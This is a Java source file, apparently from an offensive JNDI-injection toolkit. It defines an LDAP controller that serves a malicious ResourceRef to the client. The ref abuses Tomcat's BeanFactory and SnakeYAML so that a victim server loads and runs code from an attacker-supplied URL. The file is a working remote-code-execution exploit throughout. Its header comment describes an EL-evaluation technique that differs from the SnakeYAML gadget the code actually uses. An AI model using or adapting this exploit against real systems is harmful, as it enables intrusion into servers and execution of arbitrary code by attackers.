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package artsploit.controllers; | |
import artsploit.Config; | |
import artsploit.annotations.LdapMapping; | |
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; | |
import com.unboundid.ldap.sdk.Entry; | |
import com.unboundid.ldap.sdk.LDAPResult; | |
import com.unboundid.ldap.sdk.ResultCode; | |
import org.apache.naming.ResourceRef; | |
import javax.naming.StringRefAddr; | |
import static artsploit.Utilities.makeJavaScriptString; | |
import static artsploit.Utilities.serialize; | |
/** | |
* Yields: | |
* RCE via arbitrary bean creation in {@link org.apache.naming.factory.BeanFactory} | |
* When bean is created on the server side, we can control its class name and setter methods, | |
* so we can leverage {@link javax.el.ELProcessor#eval} method to execute arbitrary Java code via EL evaluation | |
* | |
* @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details | |
* | |
* Requires: | |
* - tomcat-embed-core.jar | |
* - tomcat-embed-el.jar | |
* | |
* @author artsploit | |
*/ | |
@LdapMapping(uri = { "/o=bypass" }) | |
public class Bypass implements LdapController { | |
String payloadURL = Config.command; | |
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { | |
System.out.println("Sending LDAP ResourceRef result for " + base + " with Bypass payload"); | |
Entry e = new Entry(base); | |
e.addAttribute("javaClassName", "java.lang.String"); //could be any | |
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory | |
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", | |
true, "org.apache.naming.factory.BeanFactory", null); | |
ref.add(new StringRefAddr("forceString", "x=load")); | |
ref.add(new StringRefAddr("x", "!!javax.script.ScriptEngineManager [\n !!java.net.URLClassLoader [[\n !!java.net.URL [\""+payloadURL+"\"]\n ]]\n]")); | |
//END OF REF | |
e.addAttribute("javaSerializedData", serialize(ref)); | |
result.sendSearchEntry(e); | |
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); | |
} | |
} |
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